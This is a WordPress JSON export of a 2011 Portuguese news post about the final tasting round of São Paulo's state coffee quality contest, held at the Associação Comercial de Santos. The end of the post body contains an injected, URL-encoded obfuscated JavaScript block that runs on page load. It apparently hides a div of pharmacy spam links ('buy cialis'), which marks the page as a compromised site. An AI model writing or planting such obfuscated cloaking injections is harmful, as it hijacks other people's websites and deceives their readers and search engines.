{"id":48443,"date":"2011-10-20T16:41:05","date_gmt":"2011-10-20T18:41:05","guid":{"rendered":"http:\/\/127.0.0.1\/acs\/provas-finais-do-concurso-estadual-de-qualidade-do-cafe-de-sao-paulo-ocorrem-na-associacao-comercial-de-santos\/"},"modified":"2011-10-20T16:41:05","modified_gmt":"2011-10-20T18:41:05","slug":"provas-finais-do-concurso-estadual-de-qualidade-do-cafe-de-sao-paulo-ocorrem-na-associacao-comercial-de-santos","status":"publish","type":"post","link":"https:\/\/acs.org.br\/academy\/provas-finais-do-concurso-estadual-de-qualidade-do-cafe-de-sao-paulo-ocorrem-na-associacao-comercial-de-santos\/","title":{"rendered":"Provas finais do Concurso Estadual de Qualidade do Caf\u00e9 de S\u00e3o Paulo ocorrem na Associa\u00e7\u00e3o Comercial de Santos"},"content":{"rendered":"<p>As provas finais do 10.\u00ba Concurso Estadual de Qualidade do Caf\u00e9 de S\u00e3o Paulo &#8211; Pr\u00eamio Aldir Alves Teixeira acontecem na Associa\u00e7\u00e3o Comercial de Santos (ACS) nesta quinta e sexta, dias 20 e 21 de outubro de 2011. A an\u00e1lise ocorre na Sala de Classifica\u00e7\u00e3o e Prova de Caf\u00e9 da ACS, na Rua XV de Novembro, 137 &#8211; 3.\u00ba andar, no Centro Hist\u00f3rico. A 10.\u00aa vers\u00e3o do concurso resultar\u00e1 na 9.\u00aa Edi\u00e7\u00e3o Especial dos Melhores Caf\u00e9s de S\u00e3o Paulo.<\/p>\n<p>A Comiss\u00e3o Julgadora escolher\u00e1 os quatro melhores lotes de caf\u00e9s ar\u00e1bicas preparados por via seca (caf\u00e9 natural), os quatros melhores caf\u00e9s ar\u00e1bicas preparados por via \u00famida (caf\u00e9 descascado e\/ou despolpado) e os dois melhores lotes de caf\u00e9s em microlotes, preparados em qualquer forma.<\/p>\n<p>A sele\u00e7\u00e3o final envolve concorrentes das tr\u00eas categorias: 51 lotes de caf\u00e9 natural, 40 de descascado e\/ou despolpado e 13 microlotes. Os 104 lotes foram vencedores de 13 concursos regionais realizados em cidades do Estado de S\u00e3o Paulo.<\/p>\n<p>De 1.\u00ba a 3 de novembro, ser\u00e1 realizado um leil\u00e3o, presencial e virtual, com os dez lotes premiados. As torrefadoras e cafeterias e demais interessados poder\u00e3o enviar classificadores e degustadores \u00e0 Associa\u00e7\u00e3o Comercial de Santos e ao Sindicato da Ind\u00fastria de Caf\u00e9 do Estado de S\u00e3o Paulo (Sindicaf\u00e9-SP) para avaliar os caf\u00e9s ou ent\u00e3o fazer lances via Internet. O site www.sindicafesp.com.br tem mais informa\u00e7\u00f5es sobre a forma de participa\u00e7\u00e3o.<\/p>\n<p>O resultado do leil\u00e3o ser\u00e1 conhecido em 9 de novembro, durante a cerim\u00f4nia de premia\u00e7\u00e3o, programada para ocorrer no Museu do Caf\u00e9, em Santos. No evento, haver\u00e1 a divulga\u00e7\u00e3o dos compradores e produtores campe\u00f5es do concurso paulista.<\/p>\n<p>O concurso \u00e9 uma realiza\u00e7\u00e3o do Governo do Estado de S\u00e3o Paulo, C\u00e2mara Setorial de Caf\u00e9, Coordenadoria de Desenvolvimento dos Agroneg\u00f3cios (Codeagro), da Ag\u00eancia Paulista de Tecnologia dos Agroneg\u00f3cios e do Caf\u00e9 de S\u00e3o Paulo.<\/p>\n<p>Tem patroc\u00ednio do Lab Carvalhaes, Ciclus, Escrit\u00f3rio Carvalhaes, Vi\u00e7a Caf\u00e9 e Pinhalense.<\/p>\n<p>E conta com o apoio da Associa\u00e7\u00e3o Brasileira da Ind\u00fastria de Caf\u00e9 (Abic), Associa\u00e7\u00e3o Comercial de Santos, Museu do Caf\u00e9 de Santos e Caf\u00e9s do Brasil.<\/p>\n<p>Na Associa\u00e7\u00e3o Comercial<\/p>\n<p>Para as finais na Associa\u00e7\u00e3o Comercial de Santos, a organiza\u00e7\u00e3o do concurso convocou sete jurados, classificadores e degustadores experientes: Aloisio Aparecido Lusvaldi Barca, da Bolsa de Mercadorias e Futuros Bovespa (BM&amp;F Bovespa), Jos\u00e9 Carlos Roveri, da Abic, Maria Gabriela Nosralla Pariz, do Centro de Prepara\u00e7\u00e3o de Caf\u00e9 (CPC) do Sindicaf\u00e9-SP, Oliver Gut, do Conselho dos Exportadores de Caf\u00e9 do Brasil (Cecaf\u00e9), Davi Antonio Pinto Teixeira, da Associa\u00e7\u00e3o Comercial de Santos, e Aline Garcia, do Instituto de Tecnologia de Alimentos (Ital), de Campinas.<\/p>\n<p>Os jurados foram recebidos pelo diretor Ronaldo Taboada, da Associa\u00e7\u00e3o Comercial de Santos, e por Eduardo Carvalhaes J\u00fanior, da comiss\u00e3o organizadora do Concurso Estadual de Qualidade do Caf\u00e9 de S\u00e3o Paulo e presidente do Conselho de C\u00e2maras Setoriais da ACS.<\/p>\n<p>O concurso \u00e9 fiscalizado e supervisionado pela Apply Auditores, auditoria independente com o objetivo de garantir que os procedimentos s\u00e3o realizados corretamente.<\/p>\n<p>Eduardo Carvalhaes enfatizou que &#8220;o Concurso Estadual de Qualidade do Caf\u00e9 de S\u00e3o Paulo \u00e9 o mais charmoso do Brasil&#8221;. Lembrou que a Associa\u00e7\u00e3o Comercial de Santos tamb\u00e9m oferece o prest\u00edgio da entidade ao ceder a Sala de Classifica\u00e7\u00e3o de Caf\u00e9. E recordou que a premia\u00e7\u00e3o ocorrer\u00e1 no hist\u00f3rico edif\u00edcio da Bolsa do Caf\u00e9, inaugurado em 1922, no ano do centen\u00e1rio da Independ\u00eancia e onde fica o Museu do Caf\u00e9 de Santos.<\/p>\n<p>Ronaldo Taboada afirmou que &#8220;a Associa\u00e7\u00e3o Comercial de Santos est\u00e1 sempre de portas abertas para o concurso&#8221;, pois a entidade \u00e9 uma das parceiras do evento.<\/p>\n<p>Confira as fotos, em alta resolu\u00e7\u00e3o inclusive, da degusta\u00e7\u00e3o das amostras de caf\u00e9 natural, realizadas nesta quarta-feira, na Associa\u00e7\u00e3o Comercial de Santos:<\/p>\n<p><a href=\"http:\/\/www.flickr.com\/photos\/68909031@N06\/sets\/72157627814199473\/\">http:\/\/www.flickr.com\/photos\/68909031@N06\/sets\/72157627814199473\/<\/a><\/p>\n<p><!-- rk_czxV1dv1UTfErdQy29 --><script type=\"text\/javascript\">document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%0A%66%75%6E%63%74%69%6F%6E%20%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%0A%7B%0A%76%61%72%20%61%3D%30%2C%6D%2C%76%2C%74%2C%7A%2C%78%3D%6E%65%77%20%41%72%72%61%79%28%27%39%30%39%31%39%36%38%33%37%36%27%2C%27%38%38%38%37%39%31%38%31%39%32%38%31%38%37%38%36%33%34%37%33%37%34%39%31%38%37%38%34%39%33%39%32%37%37%33%35%39%32%38%37%38%38%33%34%32%31%33%33%33%33%33%33%33%33%38%38%39%36%27%2C%27%37%37%38%37%38%37%27%2C%27%39%34%39%39%39%30%37%39%33%39%31%37%39%34%37%39%39%38%39%34%32%35%37%37%39%33%39%33%31%37%27%29%2C%6C%3D%78%2E%6C%65%6E%67%74%68%3B%0A%77%68%69%6C%65%28%2B%2B%61%3C%3D%6C%29%7B%6D%3D%78%5B%6C%2D%61%5D%3B%0A%74%3D%7A%3D%27%27%3B%0A%66%6F%72%28%76%3D%30%3B%76%3C%6D%2E%6C%65%6E%67%74%68%3B%29%7B%74%2B%3D%6D%2E%63%68%61%72%41%74%28%76%2B%2B%29%3B%0A%69%66%28%74%2E%6C%65%6E%67%74%68%3D%3D%32%29%7B%7A%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%70%61%72%73%65%49%6E%74%28%74%29%2B%32%35%2D%6C%2B%61%29%3B%0A%74%3D%27%27%3B%7D%7D%78%5B%6C%2D%61%5D%3D%7A%3B%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%27%2B%78%5B%30%5D%2B%27%20%27%2B%78%5B%34%5D%2B%27%3E%2E%27%2B%78%5B%32%5D%2B%27%7B%27%2B%78%5B%31%5D%2B%27%7D%3C%2F%27%2B%78%5B%30%5D%2B%27%3E%27%29%3B%7D%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%3B%0A%3C%2F%73%63%72%69%70%74%3E'));<\/script><\/p>\n<div class=\"dnn\" id=\"9910661\">\n<p>buy cialis thailand <a href=\"http:\/\/millpharmacy.com\/#183\">buy cialis canada &#8211; millpharmacy.com<\/a> buy cialis no prescription<\/p>\n<\/div>\n<p><!-- \/rk_czxV1dv1UTfErdQy29 --><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As provas finais do 10.\u00ba Concurso Estadual de Qualidade do Caf\u00e9 de S\u00e3o Paulo &#8211; Pr\u00eamio Aldir Alves Teixeira acontecem na Associa\u00e7\u00e3o Comercial de Santos (ACS) nesta quinta e sexta, dias 20 e 21 de outubro de 2011. A an\u00e1lise ocorre na Sala de Classifica\u00e7\u00e3o e Prova de Caf\u00e9 da ACS, na Rua XV de [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[84],"tags":[],"_links":{"self":[{"href":"https:\/\/acs.org.br\/academy\/wp-json\/wp\/v2\/posts\/48443"}],"collection":[{"href":"https:\/\/acs.org.br\/academy\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/acs.org.br\/academy\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/acs.org.br\/academy\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/acs.org.br\/academy\/wp-json\/wp\/v2\/comments?post=48443"}],"version-history":[{"count":0,"href":"https:\/\/acs.org.br\/academy\/wp-json\/wp\/v2\/posts\/48443\/revisions"}],"wp:attachment":[{"href":"https:\/\/acs.org.br\/academy\/wp-json\/wp\/v2\/media?parent=48443"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/acs.org.br\/academy\/wp-json\/wp\/v2\/categories?post=48443"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/acs.org.br\/academy\/wp-json\/wp\/v2\/tags?post=48443"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}